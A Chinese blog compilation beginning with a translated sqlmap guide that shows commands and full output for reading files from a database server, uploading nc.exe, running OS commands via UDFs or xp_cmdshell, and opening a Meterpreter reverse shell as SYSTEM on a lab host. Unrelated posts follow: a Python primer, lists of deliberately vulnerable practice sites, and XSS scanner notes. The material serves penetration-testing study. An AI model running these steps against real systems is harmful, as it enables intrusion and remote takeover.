列举一个Microsoft SQL Server 2005的例子: $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \ --file-read "C:/example.exe" -v 1 [...] [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: 'C:/example.exe' [hh:mm:50] [INFO] the SQL query provided returns 3 entries C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/Cexample.exe' [...] $ ls -l output/192.168.136.129/files/Cexample.exe -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/Cexample.exe $ file output/192.168.136.129/files/Cexample.exe output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

把文件上传到数据库服务器中

参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

列举一个MySQL的例子: $ file /software/nc.exe.packed /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit $ ls -l /software/nc.exe.packed -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [...] do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully written on the back-end DBMS file system? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, same size as the local file '/software/nc.exe.packed'

运行任意操作系统命令

参数:--os-cmd,--os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。

在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。

那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

列举一个PostgreSQL的例子: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ --os-cmd id -v 1 [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' [hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF 'sys_eval'? [Y/n] y do you want to remove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually

用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。

当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言: 1、ASP 2、ASP.NET 3、JSP 4、PHP

Meterpreter配合使用

参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它: 1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。 2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。 3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。 4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

列举一个MySQL例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit [...] [hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 back-end DBMS: MySQL 5.0 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:31] [INFO] the back-end DBMS operating system is Windows how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > [hh:mm:32] [INFO] testing if current user is DBA [hh:mm:32] [INFO] fetching current user what is the back-end database management system architecture? [1] 32-bit (default) [2] 64-bit > [hh:mm:33] [INFO] checking if UDF 'sysbineval' already exist [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:33] [INFO] detecting back-end DBMS version from its banner [hh:mm:33] [INFO] retrieving MySQL base directory absolute path [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database underlying operating system? [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > [hh:mm:40] [INFO] creation in progress ... done [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. | | o | , , _ | | | / |/ |/ | |/ | / | / _|/ _|/ / _| | | | |/|__/|/_/|/ \/ |/ |/__/ |/|_/ /| | =[ metasploit v3.7.0-dev [core:3.7 api:1.0] + -- --=[ 674 exploits - 351 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => thread LPORT => 60641 LHOST => 192.168.136.1 [/] Started reverse handler on 192.168.136.1:60641 [/] Starting the payload handler... [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait.. [/] Sending stage (749056 bytes) to 192.168.136.129 [/] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > [-] The 'priv' extension has already been loaded. meterpreter > Loading extension sniffer...success. meterpreter > System Language : en_US OS : Windows .NET Server (Build 3790, Service Pack 2). Computer : W2K3R2 Architecture : x86 Meterpreter : x86/win32 meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:0c:29:fc:79:39 IP Address : 192.168.136.129 Netmask : 255.255.255.0 meterpreter > exit [/*] Meterpreter session 1 closed. Reason: User exit

默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。 Tags: sqlmap

快速 Python 语言入门

Posted on

快速 Python 语言入门教学

Python 的中文意思是巨蟒,大蟒蛇。

/* 快速 Python 语言入门教学,课程,课件,教材,自学,概念 o 计算机编程主要概念

  • 基本编程
  • 定义函数
  • 循环 (loop) o Python 数据概念
  • 列表 (list)
  • 元组 (tuple)
  • 字典 (dict)
  • 集合 (set)
  • 模块 (module)
  • 类 (class)
  • 字符串的对象性质 o Python 程序员编程习惯 o 参考资料

计算机编程主要概念¶

计算机语言编程的主要内容就这些:数字,文字,循环,公式,变量

/* 数字: 1, 2, 3, 5.6, 120, 32.4, 3.1415926, -3, -0.123

/* 文字: 你好,我好,你太牛了,很黄很暴力,这类的文字。一般用双引号(")或者单引号(')括起来。术语叫字符串 ,就是一堆字符,串起来。

/* 循环: 循环(loop)就是重复的做一件事。计算机是一个很笨的机器,基本上只会做加,减,乘,除,大于,小于,等于和循环这种简单的工作。编程就是把复杂的问题,拆成简单的单元让它重复。

幸亏有下面讲到的公式,所以很多较复杂的问题已经有了解决方法,我们只是重复的套用别人的解决公式就可以了,不用拆得太细。

Python 语言最大的优势,就是这个语言中包含了大量解决常见问题的公式,你想干的事,基本上都有人帮你干了,你只是需要把他们组织,捆绑起来就可以了。比如下载文件的公式,分析网页内容的公式,压缩文件的公式,处理电子邮件的公式等等。

(转 )一些安全资源列表

Posted on

(转 )一些安全资源列表

**# Details

The following websites may be used to compare Websecurify with other automated web application security testing tools:

演示网站

S.No. Vulnerable Application Platform Remark 1 SPI Dynamics (live) ASP 漏扫厂商的缺陷demo站点,想学习还是可以玩的。有新花样最好本地玩吧,除非你是活雷锋。 2 Cenzic (live) PHP 同1 3 Watchfire (live) ASPX 同1 4 Acunetix 1 (live) PHP 同1 5 Acunetix 2 (live) ASP 同1 6 Acunetix 3 (live) ASP.Net 同1 7 PCTechtips Challenge (live) ​ online hack challenge, just for fun 8 Damn Vulnerable Web Application PHP/MySQL 有提供Live CD版,适合懒人 9 Mutillidae PHP 针对OWASP的Top 10名单设置针对性的缺陷供你耍,必须推荐 10 The Butterfly Security Project PHP ​ 11 Hacme Casino Ruby on Rails Hacme系列is copyright by McAfee, but toooooooooooold! take it as you will and at your own risk. 12 Hacme Bank 2.0 ASP.NET (2.0) 同上,不解释。 13 Updated HackmeBank ASP.NET (2.0) 链接失效?我没用过。 14 Hacme Books J2EE 还是Hacme。。。 15 Hacme Travel C (application client-server) 又是Hacme。。。不过这个是C 的,比较少见。也许有价值,我没用过 16 Hacme Shipping ColdFusion MX 7, MySQL ColdFusion平台的,有针对性的可以搭建一下试试,我没用过 17 OWASP WebGoat JAVA 适合教学 18 OWASP Vicnum PHP, Perl ​ 19 OWASP InsecureWebApp JAVA ​ 20 OWASP SiteGenerator ASP.NET ​ 21 Moth ​ ​ 22 Stanford SecuriBench JAVA ​ 23 SecuriBench Micro JAVA ​ 24 BadStore Perl(CGI) ​ 25 WebMaven/Buggy Bank (very old) ​ ​ 26 EnigmaGroup (live) ​ ​ 27 XSS Encoding Skillsx5s (Casaba Watcher) ​ Fiddler的扩展,辅助XSS漏洞挖掘(多种字符编码转换支持) 28 Google Gruyere(live) (previously Jarlsberg) ​ 可以在线玩,GAE supported. So, if you are in CH1N4, you may need a VPN or proxy to access it. 29 Exploit- DB Multi-platform 最真实的Web App漏洞资料库,totally damn real!看上哪个,直接官网下载对应缺陷版本,本地想怎么玩就怎么玩。 30 exploit-kb-vulnerable-web-app PHP/MySQL 文档清晰,易部署,有Vmware Image版,适合懒人

手工的辅助工具 Tool Category Remark Similar paros HTTP代理/HTTP协议调试/spider 最新开源版3.2.13更新于2006年,后续版本已经完全商业化。但工具的易用性、功能在今天来看都是值得推荐的。支持HTTP协议双向数据查看/修改/过滤是其亮点。 burp proxy ,Fiddler, live http headers (Firefox addon),Firebug (Many browsers’ addon) HackBar 手工SQL注入辅助 方便转码、编码、填充垃圾字符,绕过滤必备 TamperData HTTP请求参数控制 拦截HTTP/HTTPS请求,允许手工修改HTTP请求参数(GET参数、POST字段、cookie等)后再提交 Groundspeed 客户端安全措施半自动化解除 自动检测隐藏表单字段、去除表单验证等,免去自己通过Firebug修改html代码的麻烦 BuiltWith (Chrome扩展) 网站架构自动分析 自动检测和识别当前浏览网站所采用的技术架构,脚本小子的最爱

Google 检索到一份整理好的渗透测试学习资源列表

by http://www.pulog.org/Resources/2242/Pentesting-Vulnerable/

Web Pentesting

Application Name Company/Developer URL OWASP WebGoat OWASP http://www.owasp.org/index.php/OWASP_WebGoat_Project OWASP Vicnum OWASP http://www.owasp.org/index.php/Category:OWASP_Vicnum_Project OWASP InsecureWebApp OWASP http://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project Web Security DOJO Maven Security Consulting http://www.mavensecurity.com/web_security_dojo/ Gruyere (antigo Codelab / Jalsberg) Google http://google-gruyere.appspot.com/ Hacme Game NTNU http://hacmegame.org/ SPI Dynamics SPI Dynamics http://zero.webappsecurity.com/ Acunetix 1 Acunetix http://testphp.vulnweb.com/ Acunetix 2 Acunetix http://testasp.vulnweb.com/ Acunetix 3 Acunetix http://testaspnet.vulnweb.com/ PCTechtips Challenge PC Tech Tips http://pctechtips.org/hacker-challenge-pwn3d-the-login-form/ Damn Vulnerable Web Application DVWA http://dvwa.co.uk/ Mutillidae Iron Geek http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10 The Butterfly Security Project The Butterfly Security http://sourceforge.net/projects/thebutterflytmp/ Hacme Casino McAfee http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx Hacme Bank 2.0 McAfee http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx Updated HackmeBank McAfee http://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html Hacme Books McAfee http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx Hacme Travel McAfee http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx Hacme Shipping McAfee http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx Moth Bonsai Sec http://www.bonsai-sec.com/en/research/moth.php Stanford SecuriBench Standford http://suif.stanford.edu/%7Elivshits/securibench/ SecuriBench Micro Standford http://suif.stanford.edu/%7Elivshits/work/securibench-micro/ BadStore BadStore http://www.badstore.net/ WebMaven/Buggy Bank Maven Security http://www.mavensecurity.com/webmaven EnigmaGroup Enigma Group http://enigmagroup.org/ XSS Encoding Skills – x5s (Casaba Watcher) X5S http://www.nottrusted.com/x5s/ Exploit- DB Exploit DB http://www.exploit-db.com/webapps The Bodgeit Store The Bodgeit Store http://code.google.com/p/bodgeit/ LampSecurity MadIrish http://sourceforge.net/projects/lampsecurity/ hackxor Hackxor http://hackxor.sourceforge.net/cgi-bin/index.pl WackoPicko WackoPicko https://github.com/adamdoupe/WackoPicko RSnake’s Vulnerability Lab RSnake http://ha.ckers.org/weird/

War Games

Application Name Company / Developer URL Hell Bound Hackers Hell Bound Hackers http://hellboundhackers.org/ Vulnerability Assessment Kevin Orrey http://www.vulnerabilityassessment.co.uk/ Smash the Stack Smash the Stack http://www.smashthestack.org/ Over the Wire Over the Wire http://www.overthewire.org/wargames/ Hack This Site Hack This Site http://www.hackthissite.org/ Hacking Lab Hacking Lab https://www.hacking-lab.com/ We Chall We Chall https://www.wechall.net/ REMnux REMnux http://zeltser.com/remnux/

Insecure Distributions

Application Name Company / Developer URL Damm Vulnerable Linux DVL http://www.damnvulnerablelinux.org/ Metasploitable Offensive Security http://blog.metasploit.com/2010/05/introducing-metasploitable.html de-ICE Hacker Junkie http://www.de-ice.net/ Moth Bonsai SecuritySoftware http://www.bonsai-sec.com/en/research/moth.php PwnOS Niel Dickson http://www.neildickson.com/os/ Holynix Pynstrom http://pynstrom.net/holynix.php

(二)XSS自动化扫描器系统原理

1.Google到一个关于xss的扫描器,sourceforge的xsser,以下是它的简介:

Cross Site "Scripter" is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications. 大概就是说它是个自动扫描利用漏洞并且报告之的东东,和我要找的符合。

下载地址:http://sourceforge.net/projects/xsser/files/latest/download 源码checkout地址:svn://svn.code.sf.net/p/xsser/code

这个是XSSer的用法:http://blog.csdn.net/xihuanqiqi/article/details/8072323 2.Google把自己的内部审计XSS的工具开源了 ratproxy

Google 推出一套免費的 Web 安全評估工具,叫做 RatProxy,這套工具可以檢測、分析您的網站是否有安全性漏洞或網頁是否有被入侵,目前可支援 Linux, FreeBSD, MacOS X, 與 Windows (Cygwin) 等執行環境(反正就是 Unix-like 的環境啦)。 RatProxy 可偵測到的漏洞包括 Cross-site Scripting (XSS, 跨網站指令碼)、指令碼惡意置入(script inclusion issues), 惡意網頁內容(content serving problems), insufficient XSRF 以及 XSS 防護(XSS defenses) 等。 ratproxy地址:http://code.google.com/p/ratproxy//#ratproxy

以下是Google到的Ratproxy用法:

Ratproxy 工作流程:

  • 1) 运行脚本后,会在本地启动一个代理服务器,默认端口是 8080 ;
  • 2) 浏览器设置这个地址 ([url]http://localhost:8080[/url])为 代理地址 ;
  • 3) 浏览要测试的 Web 页面,进行实际登录,填写表单等操作(这些动作会被代理服务器捕捉并做点"手脚"发给待检测的页面),ratproxy 会在后台记录相关的 Log ;
  • 4) 用 ratproxy 提供的工具解析 Log 并输出 <acronym title="HyperText" markup="" language "="" style="padding: 0px; margin: 0px; ">HTML 进行分析;
  • 5) 修正比较严重的问题后,跳回到第一步,直到评估通过为止。 在我的 Ubuntu 下测试了一下,需要说一下的是,本地系统需要安装 libssl-dev 与 openssl 。 $ sudo apt-get install libssl-dev openssl $ cd ratproxy ; make

然后就可以提交类似: $ ./ratproxy -v . -w foo.log -d foo.com -lfscm


3.Google到 XSSDetect 是一款微软公司为开发人员提供针对跨站脚本攻击的静态分析工具 XSSDetect是精简版的.NET代码分析工具,原本供微软内部人员寻找应用软件的安全漏洞之用,大概是受开源思想影响,现在已经可以免费下载了。

下载地址:http://tel1.hackol.com/2010/hackol.com-4910-XSSDetectSetup.rar 下完就能傻瓜化安装了

这是XSSDetect的用法: Sample Usage

  1. Launch Visual Studio
  2. Open a solution containing at least on C/#, J/# or VB.NET project
  3. Build the solution
  4. Click on Tools | XSSDetect Code Analysis, the Summary View dockable tool window activates
  5. Verify/edit the current settings (click on General Settings, Rules or Target Assemblies on the toolbar of the Summary View)
  6. Start the code analysis (use the Analyze button on the toolbar)
  7. After the analysis is complete, the Summary View tool window shows the results, and the output window shows information and error messages
  8. Double click on a result item in the Summary View to activate the Detail View
  9. In the Detail View, double click on a dataflow item to display the corresponding source line
  10. Use the "Previous" and "Next" buttons in the Detail View to display other result items 看到这个Launch Visual Studio就知道这个要用VS啦,挺麻烦的说。。。

看了下资料,发现这个XSSer的资料多一些,还是中文版的,就研究它了。

(三)研究XSSer系统运行原理

1.先在虚拟机上安装好相关软件如Ihttp://xsser.sourceforge.net/所说的:

**Installation XSSer runs on many platforms. It requires Python and the following libraries:

  • python-pycurl - Python bindings to libcurl
  • python-beautifulsoup - error-tolerant HTML parser for Python
  • python-libxml2 - Python bindings for the GNOME XML library
  • python-geoip - Python bindings for the GeoIP IP-to-country resolver library On Debian-based systems (ex: Ubuntu), run: sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip

来源: [http://amxking.bokee.com/viewdiary.251249940.html](http://amxking.bokee.com/viewdiary.251249940.html)